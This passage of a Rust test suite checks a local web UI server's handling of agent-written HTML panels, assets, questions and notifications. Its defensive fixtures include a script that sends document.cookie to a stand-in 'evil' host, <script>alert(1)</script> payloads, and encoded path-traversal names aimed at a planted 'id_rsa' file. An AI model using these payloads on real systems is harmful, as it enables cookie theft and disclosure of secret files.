5917 assert!(!crate::deputy::can_start(Some(&empty), ""));
5918 assert!(!crate::deputy::can_start(None, ""));
5919 }
5920
5921 use pretty_assertions::assert_eq;
5922 use serde_json::Value;
5923 use tempfile::TempDir;
5924 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5925
5926 use super::*;
5927 use crate::config::Config;
5928 use crate::queue::Source;
5929
5930 const SETTLE_STEPS: usize = 3_000;
5941
5942 struct Fixture {
5948 home: TempDir,
5949 addr: SocketAddr,
5950 }
5951
5952 impl Fixture {
5953 async fn start() -> Self {
5954 Self::with_loop(launch_idle).await
5955 }
5956
5957 async fn with_loop(launch: Launch) -> Self {
5959 let home = TempDir::new().expect("temp home");
5960 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
5961 Self { home, addr }
5962 }
5963
5964 async fn with_repo(repo: PathBuf) -> Self {
5968 let home = TempDir::new().expect("temp home");
5969 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
5970 Self { home, addr }
5971 }
5972
5973 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
5976 let home = TempDir::new().expect("temp home");
5977 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
5978 Self { home, addr }
5979 }
5980
5981 async fn serve(
5982 home: &FsPath,
5983 repo: PathBuf,
5984 launch: Launch,
5985 machine: Option<PathBuf>,
5986 ) -> SocketAddr {
5987 let queue = Queue::at(home.join("queue"));
5988 let runs = home.join("runs");
5989 std::fs::create_dir_all(&runs).expect("runs dir");
5990 let worktrees = home.join("wt").join("magi");
5991 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
5992 let ui = Ui::new(
5993 queue,
5994 Questions::at(home.join("questions")),
5995 Talks::at(home.join("talks")),
5996 runs,
5997 home.to_path_buf(),
5998 repo,
5999 )
6000 .with_worktrees_root(worktrees)
6001 .with_machine_config(machine)
6002 .with_launch(launch);
6003 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6004 .await
6005 .expect("bind loopback");
6006 let addr = listener.local_addr().expect("local addr");
6007 tokio::spawn(async move {
6008 let _ = axum::serve(listener, ui.router()).await;
6009 });
6010 addr
6011 }
6012
6013 fn queue(&self) -> Queue {
6014 Queue::at(self.home.path().join("queue"))
6015 }
6016
6017 fn questions(&self) -> Questions {
6018 Questions::at(self.home.path().join("questions"))
6019 }
6020
6021 fn talks(&self) -> Talks {
6022 Talks::at(self.home.path().join("talks"))
6023 }
6024
6025 fn runs(&self) -> PathBuf {
6026 self.home.path().join("runs")
6027 }
6028
6029 async fn get(&self, path: &str) -> Res {
6030 request(self.addr, "GET", path, None).await
6031 }
6032
6033 async fn head(&self, path: &str) -> Res {
6038 request(self.addr, "HEAD", path, None).await
6039 }
6040
6041 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6042 request(self.addr, "POST", path, body).await
6043 }
6044
6045 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6046 request_with(self.addr, "GET", path, None, extra).await
6047 }
6048
6049 async fn delete(&self, path: &str) -> Res {
6050 request(self.addr, "DELETE", path, None).await
6051 }
6052
6053 async fn put(&self, path: &str, body: &str) -> Res {
6054 request(self.addr, "PUT", path, Some(body)).await
6055 }
6056
6057 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6059 request_bytes(self.addr, path, headers, body).await
6060 }
6061 }
6062
6063 struct Res {
6064 status: u16,
6065 headers: String,
6066 head: String,
6071 body: String,
6072 bytes: Vec<u8>,
6076 }
6077
6078 impl Res {
6079 fn json(&self) -> Value {
6080 serde_json::from_str(&self.body)
6081 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6082 }
6083
6084 fn header(&self, name: &str) -> Option<&str> {
6086 self.head.lines().find_map(|line| {
6087 let (key, value) = line.split_once(':')?;
6088 key.trim()
6089 .eq_ignore_ascii_case(name)
6090 .then(|| value.trim_start().trim_end_matches('\r'))
6091 })
6092 }
6093 }
6094
6095 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6098 request_with(addr, method, path, body, &[]).await
6099 }
6100
6101 async fn request_with(
6105 addr: SocketAddr,
6106 method: &str,
6107 path: &str,
6108 body: Option<&str>,
6109 extra: &[(&str, &str)],
6110 ) -> Res {
6111 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6112 for (name, value) in extra {
6113 head.push_str(&format!("{name}: {value}\r\n"));
6114 }
6115 if let Some(body) = body {
6116 head.push_str("Content-Type: application/json\r\n");
6117 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6118 }
6119 head.push_str("\r\n");
6120 if let Some(body) = body {
6121 head.push_str(body);
6122 }
6123 let mut socket = tokio::net::TcpStream::connect(addr)
6124 .await
6125 .expect("connect to the test server");
6126 socket
6127 .write_all(head.as_bytes())
6128 .await
6129 .expect("write request");
6130 let mut raw = Vec::new();
6131 socket.read_to_end(&mut raw).await.expect("read response");
6132 let split = raw
6135 .windows(4)
6136 .position(|w| w == b"\r\n\r\n")
6137 .expect("a header block");
6138 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6139 let bytes = raw[split + 4..].to_vec();
6140 let status = head
6141 .lines()
6142 .next()
6143 .and_then(|line| line.split_whitespace().nth(1))
6144 .and_then(|code| code.parse().ok())
6145 .expect("a status line");
6146 Res {
6147 status,
6148 headers: head.to_lowercase(),
6149 head,
6150 body: String::from_utf8_lossy(&bytes).into_owned(),
6151 bytes,
6152 }
6153 }
6154
6155 async fn request_bytes(
6161 addr: SocketAddr,
6162 path: &str,
6163 headers: &[(&str, &str)],
6164 body: &[u8],
6165 ) -> Res {
6166 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6167 for (name, value) in headers {
6168 head.push_str(&format!("{name}: {value}\r\n"));
6169 }
6170 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6171 let mut socket = tokio::net::TcpStream::connect(addr)
6172 .await
6173 .expect("connect to the test server");
6174 socket
6175 .write_all(head.as_bytes())
6176 .await
6177 .expect("write request head");
6178 socket.write_all(body).await.expect("write request body");
6179 let mut raw = Vec::new();
6180 socket.read_to_end(&mut raw).await.expect("read response");
6181 let split = raw
6182 .windows(4)
6183 .position(|w| w == b"\r\n\r\n")
6184 .expect("a header block");
6185 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6186 let bytes = raw[split + 4..].to_vec();
6187 let status = head
6188 .lines()
6189 .next()
6190 .and_then(|line| line.split_whitespace().nth(1))
6191 .and_then(|code| code.parse().ok())
6192 .expect("a status line");
6193 Res {
6194 status,
6195 headers: head.to_lowercase(),
6196 head,
6197 body: String::from_utf8_lossy(&bytes).into_owned(),
6198 bytes,
6199 }
6200 }
6201
6202 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6204 let mut state = RunState::new(
6205 PathBuf::from("/repo/magi"),
6206 "main".to_owned(),
6207 "0123456789abcdef".to_owned(),
6208 "Add a web UI\n\nMobile first.".to_owned(),
6209 Config::default(),
6210 );
6211 state.id = id.to_owned();
6212 state.status = status;
6213 let dir = runs.join(id);
6214 std::fs::create_dir_all(&dir).expect("run dir");
6215 std::fs::write(
6216 dir.join("run.json"),
6217 serde_json::to_string_pretty(&state).expect("serialize run"),
6218 )
6219 .expect("write run.json");
6220 }
6221
6222 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6226 let mut state = RunState::new(
6227 PathBuf::from(repo),
6228 "main".to_owned(),
6229 "0123456789abcdef".to_owned(),
6230 "task".to_owned(),
6231 Config::default(),
6232 );
6233 state.id = id.to_owned();
6234 state.status = status;
6235 let dir = runs.join(id);
6236 std::fs::create_dir_all(&dir).expect("run dir");
6237 std::fs::write(
6238 dir.join("run.json"),
6239 serde_json::to_string_pretty(&state).expect("serialize run"),
6240 )
6241 .expect("write run.json");
6242 }
6243
6244 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6245 let body = serde_json::json!({
6246 "schema": 1,
6247 "pid": 4242,
6248 "started_at": Timestamp::now().to_string(),
6249 "updated_at": updated_at.to_string(),
6250 "idle": false,
6251 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6252 "completed": 7,
6253 "polls": 143,
6254 });
6255 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6256 }
6257
6258 fn launch_idle(
6268 _opts: daemon::Opts,
6269 stop: daemon::Stop,
6270 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6271 Box::pin(async move {
6272 while !stop.stopped() {
6273 tokio::time::sleep(Duration::from_millis(2)).await;
6274 }
6275 Ok(())
6276 })
6277 }
6278
6279 fn launch_broken(
6282 _opts: daemon::Opts,
6283 _stop: daemon::Stop,
6284 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6285 Box::pin(async {
6286 Err(anyhow::anyhow!(
6287 "publish the daemon status file: read-only file system"
6288 ))
6289 })
6290 }
6291
6292 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6299 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6300
6301 fn launch_knocking_on_the_way_out(
6308 _opts: daemon::Opts,
6309 stop: daemon::Stop,
6310 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6311 Box::pin(async move {
6312 while !stop.stopped() {
6313 tokio::time::sleep(Duration::from_millis(2)).await;
6314 }
6315 let addr = PARK_KNOCK
6316 .lock()
6317 .expect("park knock")
6318 .expect("the test set an address");
6319 let heard = request(addr, "GET", "/api/health", None).await.status;
6320 *PARK_HEARD.lock().expect("park heard") = Some(heard);
6321 Ok(())
6322 })
6323 }
6324
6325 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6334 for _ in 0..SETTLE_STEPS {
6335 let view = fx.get("/api/loop").await.json();
6336 if want(&view) {
6337 return view;
6338 }
6339 tokio::time::sleep(Duration::from_millis(10)).await;
6340 }
6341 panic!(
6342 "the loop never settled: {}",
6343 fx.get("/api/loop").await.json()
6344 );
6345 }
6346
6347 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6349 let store = fx.questions();
6350 let mut q = Question::new(
6351 "20260902-000000-beef".to_owned(),
6352 "implement".to_owned(),
6353 "impl-A".to_owned(),
6354 summary.to_owned(),
6355 "because it matters".to_owned(),
6356 choices.iter().map(|c| (*c).to_owned()).collect(),
6357 );
6358 store.put(&mut q).expect("put question");
6359 q.id
6360 }
6361
6362 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6368 let store = fx.questions();
6369 let mut q = Question::new(
6370 "20260902-000000-beef".to_owned(),
6371 "land".to_owned(),
6372 "fix".to_owned(),
6373 "Merge this?".to_owned(),
6374 "the diff is in the panel".to_owned(),
6375 vec!["merge".to_owned(), "hold".to_owned()],
6376 );
6377 let staging = fx.home.path().join("staging");
6380 std::fs::create_dir_all(&staging).expect("staging dir");
6381 let sources: Vec<PathBuf> = assets
6382 .iter()
6383 .map(|(name, bytes)| {
6384 let path = staging.join(name);
6385 std::fs::write(&path, bytes).expect("write staged asset");
6386 path
6387 })
6388 .collect();
6389 store
6390 .put_panel(&mut q, html, &sources)
6391 .expect("write the panel");
6392 store.put(&mut q).expect("put question");
6393 q.id
6394 }
6395
6396 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6405 let store = fx.talks();
6406 std::fs::create_dir_all(store.root()).expect("talks dir");
6407 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6408 .expect("serialize a seat");
6409 let body = serde_json::json!({
6410 "schema": 1,
6411 "id": id,
6412 "repo": "/repo/magi",
6413 "agent": "mock",
6414 "status": status,
6415 "turns": [],
6416 "created_at": Timestamp::now().to_string(),
6417 "updated_at": Timestamp::now().to_string(),
6418 "seat": seat,
6419 });
6420 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6421 store.get(id).expect("the seeded talk has to be readable");
6422 id.to_owned()
6423 }
6424
6425 #[tokio::test]
6426 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6427 let fx = Fixture::start().await;
6428 let id = panel(
6429 &fx,
6430 "<h1>Merge?</h1><img src=\"diff.svg\">",
6431 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
6432 );
6433
6434 for path in [
6435 format!("/api/questions/{id}/panel"),
6436 format!("/api/questions/{id}/asset/diff.svg"),
6437 ] {
6438 let res = fx.get(&path).await;
6439 assert_eq!(res.status, 200, "{path}: {}", res.body);
6440 assert_eq!(
6446 res.header("content-security-policy"),
6447 Some(
6448 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
6449 font-src data:; base-uri 'none'; form-action 'none'; \
6450 frame-ancestors 'self'"
6451 ),
6452 "{path} is the only thing between a hostile panel and the tailnet"
6453 );
6454 assert_eq!(
6455 res.header("x-content-type-options"),
6456 Some("nosniff"),
6457 "{path}: a browser must not re-decide the type we sent"
6458 );
6459 assert_eq!(
6460 res.header("referrer-policy"),
6461 Some("no-referrer"),
6462 "{path}: a panel must not leak the question id off the machine"
6463 );
6464
6465 let pre = fx.head(&path).await;
6470 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
6471 assert_eq!(
6472 pre.header("content-security-policy"),
6473 res.header("content-security-policy"),
6474 "{path}: the preflight carries the same policy"
6475 );
6476 assert_eq!(
6477 pre.header("content-type"),
6478 res.header("content-type"),
6479 "{path}: the preflight carries the same type"
6480 );
6481 }
6482 }
6483
6484 #[tokio::test]
6485 async fn a_panel_reaches_the_browser_byte_for_byte() {
6486 let fx = Fixture::start().await;
6487 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
6492 let id = panel(&fx, html, &[]);
6493
6494 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
6495
6496 assert_eq!(res.status, 200);
6497 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
6498 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
6499 assert_eq!(
6500 res.header("content-disposition"),
6501 None,
6502 "the panel itself is rendered in the frame, not downloaded"
6503 );
6504 }
6505
6506 #[tokio::test]
6507 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
6508 let fx = Fixture::start().await;
6509 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
6510 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
6511 let id = panel(
6512 &fx,
6513 "<img src=\"diff.svg\"><img src=\"shot.png\">",
6514 &[("diff.svg", svg), ("shot.png", png)],
6515 );
6516
6517 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
6518 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
6519
6520 assert_eq!(as_svg.status, 200);
6521 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
6522 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
6527
6528 assert_eq!(as_png.status, 200);
6529 assert_eq!(as_png.header("content-type"), Some("image/png"));
6530 assert_eq!(
6531 as_png.header("content-disposition"),
6532 None,
6533 "a raster image has no execution surface, so tapping it still shows it"
6534 );
6535 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
6536 }
6537
6538 #[tokio::test]
6539 async fn an_html_asset_is_never_served_as_html() {
6540 let fx = Fixture::start().await;
6541 let id = panel(
6542 &fx,
6543 "<p>see the notes</p>",
6544 &[
6545 (
6546 "notes.html",
6547 b"<script>fetch('http://evil/'+document.cookie)</script>",
6548 ),
6549 ("hook.js", b"fetch('http://evil/')"),
6550 ("data.json", b"{}"),
6551 ("HEADLINE.TXT", b"plain"),
6552 ],
6553 );
6554
6555 for name in ["notes.html", "hook.js", "data.json"] {
6556 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
6557 assert_eq!(res.status, 200, "{name}: {}", res.body);
6558 assert_eq!(
6563 res.header("content-type"),
6564 Some("application/octet-stream"),
6565 "{name} must not be a type the browser will execute or render"
6566 );
6567 }
6568 let txt = fx
6571 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
6572 .await;
6573 assert_eq!(
6574 txt.header("content-type"),
6575 Some("text/plain; charset=utf-8")
6576 );
6577 }
6578
6579 #[tokio::test]
6580 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
6581 let fx = Fixture::start().await;
6582 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6583 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
6587
6588 for encoded in [
6595 "%2e%2e%2fid_rsa",
6596 "..%2fid_rsa",
6597 "..%5cid_rsa",
6598 "%2e%2e%5cid_rsa",
6599 "diff%00.svg",
6600 "..",
6601 ".hidden",
6602 "%2e%2e%2f%2e%2e%2fid_rsa",
6603 ] {
6604 let res = fx
6605 .get(&format!("/api/questions/{id}/asset/{encoded}"))
6606 .await;
6607 assert_eq!(
6608 res.status, 400,
6609 "`{encoded}` has to be refused by name, not looked up: {}",
6610 res.body
6611 );
6612 assert!(res.json()["error"].is_string(), "{}", res.body);
6613 }
6614
6615 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
6621 let res = fx
6622 .get(&format!("/api/questions/{id}/asset/{literal}"))
6623 .await;
6624 assert_eq!(
6625 res.status, 404,
6626 "`{literal}` must not match the asset route at all: {}",
6627 res.body
6628 );
6629 }
6630 }
6631
6632 #[tokio::test]
6633 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
6634 let fx = Fixture::start().await;
6635 let plain = ask(&fx, "Which backend?", &["SQLite"]);
6636 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6637
6638 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
6642 assert_eq!(none.status, 404, "{}", none.body);
6643 assert!(none.json()["error"].is_string(), "{}", none.body);
6644 assert_eq!(
6645 fx.head(&format!("/api/questions/{plain}/panel"))
6646 .await
6647 .status,
6648 404,
6649 "the preflight is the only way the client can learn this"
6650 );
6651
6652 let missing = fx
6654 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
6655 .await;
6656 assert_eq!(missing.status, 404, "{}", missing.body);
6657 assert!(missing.json()["error"].is_string(), "{}", missing.body);
6658
6659 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
6661 assert_eq!(
6662 fx.get("/api/questions/nope/asset/diff.svg").await.status,
6663 404
6664 );
6665 }
6666
6667 #[tokio::test]
6668 async fn a_run_with_an_open_question_reads_as_waiting() {
6669 let fx = Fixture::start().await;
6670 let run = "20260902-000000-beef".to_owned();
6671 write_run(&fx.runs(), &run, RunStatus::Implementing);
6672
6673 let before = fx.get("/api/runs").await.json();
6674 assert_eq!(before[0]["waiting"], false, "{before}");
6675
6676 let store = fx.questions();
6677 let mut q = Question::new(
6678 run.clone(),
6679 "implement".to_owned(),
6680 "impl-A".to_owned(),
6681 "Which backend?".to_owned(),
6682 String::new(),
6683 vec!["SQLite".to_owned()],
6684 );
6685 store.put(&mut q).expect("put");
6686
6687 let during = fx.get("/api/runs").await.json();
6688 assert_eq!(during[0]["waiting"], true, "{during}");
6689
6690 q.answer(Answer::Choice("SQLite".to_owned()))
6693 .expect("answer");
6694 store.put(&mut q).expect("put");
6695 let after = fx.get("/api/runs").await.json();
6696 assert_eq!(after[0]["waiting"], false, "{after}");
6697 }
6698
6699 #[tokio::test]
6700 async fn an_open_question_is_listed_and_counted_by_health() {
6701 let fx = Fixture::start().await;
6702 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6703
6704 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6705 let listed = fx.get("/api/questions").await.json();
6706 assert_eq!(listed.as_array().expect("array").len(), 1);
6707 assert_eq!(listed[0]["id"], id);
6708 assert_eq!(listed[0]["status"], "open");
6709 assert_eq!(listed[0]["choices"][1], "Redis");
6710 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6713 }
6714
6715 #[tokio::test]
6716 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
6717 let fx = Fixture::start().await;
6718 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6719 let path = format!("/api/questions/{id}/answer");
6720
6721 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
6722 assert_eq!(res.status, 200, "{}", res.body);
6723 let body = res.json();
6724 assert_eq!(body["status"], "answered");
6725 assert_eq!(body["answer"]["choice"], "Redis");
6726
6727 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
6731 assert_eq!(again.status, 409, "{}", again.body);
6732 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6733 }
6734
6735 #[tokio::test]
6736 async fn saying_something_appends_a_turn_without_answering() {
6737 let fx = Fixture::start().await;
6738 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6739 let path = format!("/api/questions/{id}/say");
6740
6741 let res = fx
6742 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
6743 .await;
6744 assert_eq!(res.status, 200, "{}", res.body);
6745 let body = res.json();
6746 assert_eq!(body["status"], "open", "talking back is not a decision");
6747 assert_eq!(body["answer"], Value::Null);
6748 assert_eq!(body["thread"][0]["who"], "operator");
6749 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
6750 assert_eq!(body["waiting_on_agent"], true);
6751 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6753 }
6754
6755 #[tokio::test]
6756 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
6757 let fx = Fixture::start().await;
6758 let store = fx.questions();
6759 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6760 assert_eq!(
6761 fx.get("/api/health").await.json()["questions_needs_owner"],
6762 1
6763 );
6764
6765 let res = fx
6771 .post(
6772 &format!("/api/questions/{id}/say"),
6773 Some(r#"{"body":"why not Postgres?"}"#),
6774 )
6775 .await;
6776 assert_eq!(res.status, 200, "{}", res.body);
6777 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6778 assert_eq!(
6779 fx.get("/api/health").await.json()["questions_needs_owner"],
6780 0,
6781 "waiting on the agent is not waiting on the owner"
6782 );
6783
6784 let mut q = store.get(&id).expect("get");
6788 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
6789 .expect("reply");
6790 store.put(&mut q).expect("put");
6791 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6792 assert_eq!(
6793 fx.get("/api/health").await.json()["questions_needs_owner"],
6794 1,
6795 "the agent's reply is what should light the banner back up"
6796 );
6797 }
6798
6799 #[tokio::test]
6800 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
6801 let fx = Fixture::start().await;
6802 let store = fx.questions();
6803
6804 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6805 let res = fx
6806 .post(
6807 &format!("/api/questions/{empty_id}/say"),
6808 Some(r#"{"body":" "}"#),
6809 )
6810 .await;
6811 assert_eq!(res.status, 400, "{}", res.body);
6812
6813 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6814 let mut answered = store.get(&answered_id).expect("get");
6815 answered
6816 .answer(Answer::Choice("SQLite".to_owned()))
6817 .expect("answer");
6818 store.put(&mut answered).expect("put");
6819 let res = fx
6820 .post(
6821 &format!("/api/questions/{answered_id}/say"),
6822 Some(r#"{"body":"still there?"}"#),
6823 )
6824 .await;
6825 assert_eq!(res.status, 409, "{}", res.body);
6826
6827 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6828 let mut abandoned = store.get(&abandoned_id).expect("get");
6829 abandoned.abandon("timed out");
6830 store.put(&mut abandoned).expect("put");
6831 let res = fx
6832 .post(
6833 &format!("/api/questions/{abandoned_id}/say"),
6834 Some(r#"{"body":"still there?"}"#),
6835 )
6836 .await;
6837 assert_eq!(res.status, 409, "{}", res.body);
6838 }
6839
6840 #[tokio::test]
6841 async fn an_answer_the_question_does_not_offer_is_refused() {
6842 let fx = Fixture::start().await;
6843 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6844 let path = format!("/api/questions/{id}/answer");
6845
6846 for body in [
6847 r#"{"choice":"Postgres"}"#,
6848 r#"{"text":"whatever you think"}"#,
6849 r#"{"choice":"Redis","text":"both"}"#,
6850 r#"{}"#,
6851 ] {
6852 let res = fx.post(&path, Some(body)).await;
6853 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
6854 assert!(res.json()["error"].is_string(), "{}", res.body);
6855 }
6856 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6858 }
6859
6860 #[tokio::test]
6861 async fn a_free_text_question_takes_text_and_not_a_choice() {
6862 let fx = Fixture::start().await;
6863 let id = ask(&fx, "What should the flag be called?", &[]);
6864 let path = format!("/api/questions/{id}/answer");
6865
6866 assert_eq!(
6867 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
6868 400
6869 );
6870 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
6871 assert_eq!(res.status, 200, "{}", res.body);
6872 assert_eq!(res.json()["answer"]["text"], "--json");
6873 }
6874
6875 #[tokio::test]
6876 async fn an_unknown_question_is_a_json_404() {
6877 let fx = Fixture::start().await;
6878 let res = fx
6879 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
6880 .await;
6881 assert_eq!(res.status, 404, "{}", res.body);
6882 assert!(res.json()["error"].is_string());
6883 }
6884
6885 #[tokio::test]
6886 async fn notifications_list_read_dismiss_and_health_agree() {
6887 let fx = Fixture::start().await;
6888 let store = Notices::at(fx.home.path().join("notifications"));
6889 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
6890 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
6891
6892 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
6893 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
6894
6895 let health = fx.get("/api/health").await.json();
6896 assert_eq!(health["notifications_unread"], 2);
6897 assert_ne!(
6898 health["notifications_rev"], rev0,
6899 "the badge must move live"
6900 );
6901
6902 let listed = fx.get("/api/notifications").await.json();
6903 assert_eq!(listed["unread"], 2);
6904 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
6905 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
6906
6907 let read = fx
6908 .post(&format!("/api/notifications/{}/read", a.id), None)
6909 .await;
6910 assert_eq!(read.status, 200, "{}", read.body);
6911 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
6912
6913 let gone = fx
6914 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
6915 .await;
6916 assert_eq!(gone.status, 200, "{}", gone.body);
6917 let listed = fx.get("/api/notifications").await.json();
6918 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
6919 assert_eq!(listed["unread"], 0);
6920
6921 store.raise(Notice::info("x", "again")).unwrap();
6922 let all = fx.post("/api/notifications/read-all", None).await;
6923 assert_eq!(all.status, 200, "{}", all.body);
6924 assert_eq!(all.json()["marked"], 1);
6925 assert_eq!(
6926 fx.get("/api/health").await.json()["notifications_unread"],
6927 0
6928 );
6929
6930 let missing = fx.post("/api/notifications/nope/read", None).await;
6931 assert_eq!(missing.status, 404, "{}", missing.body);
6932 assert!(missing.json()["error"].is_string());
6933 }
6934
6935 #[tokio::test]
6942 async fn a_task_cannot_be_filed_over_the_phone_directly() {
6943 let f = Fixture::start().await;
6944
6945 let res = f
6946 .post(
6947 "/api/queue",
6948 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
6949 )
6950 .await;
6951
6952 assert_eq!(
6953 res.status, 405,
6954 "POST /api/queue must not be a route: {}",
6955 res.body
6956 );
6957 assert!(
6958 f.queue().list().is_empty(),
6959 "a task filed by a route that does not exist must not reach the disk"
6960 );
6961 assert_eq!(f.get("/api/queue").await.status, 200);
6964 }
6965
6966 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
6968 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
6969 .expect("checkout dir");
6970 }
6971
6972 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
6974
6975 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
6976 let tmp = TempDir::new().expect("tempdir");
6977 let repo = tmp.path().join("repo");
6978 std::fs::create_dir_all(&repo).expect("repo dir");
6979 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
6980 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
6981 if let Some(text) = machine_toml {
6982 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
6983 std::fs::write(&machine, text).expect("machine toml");
6984 }
6985 (tmp, repo, machine)
6986 }
6987
6988 #[tokio::test]
6989 async fn settings_get_reports_sources_and_the_advisors_fallback() {
6990 let (_tmp, repo, machine) =
6991 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
6992 let f = Fixture::with_repo_and_machine(repo, machine).await;
6993 let res = f.get("/api/settings").await;
6994 assert_eq!(res.status, 200, "{}", res.body);
6995 let v = res.json();
6996 assert!(v["error"].is_null(), "{v}");
6997 let role = |k: &str| {
6998 v["roles"]
6999 .as_array()
7000 .and_then(|r| r.iter().find(|x| x["key"] == k))
7001 .cloned()
7002 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7003 };
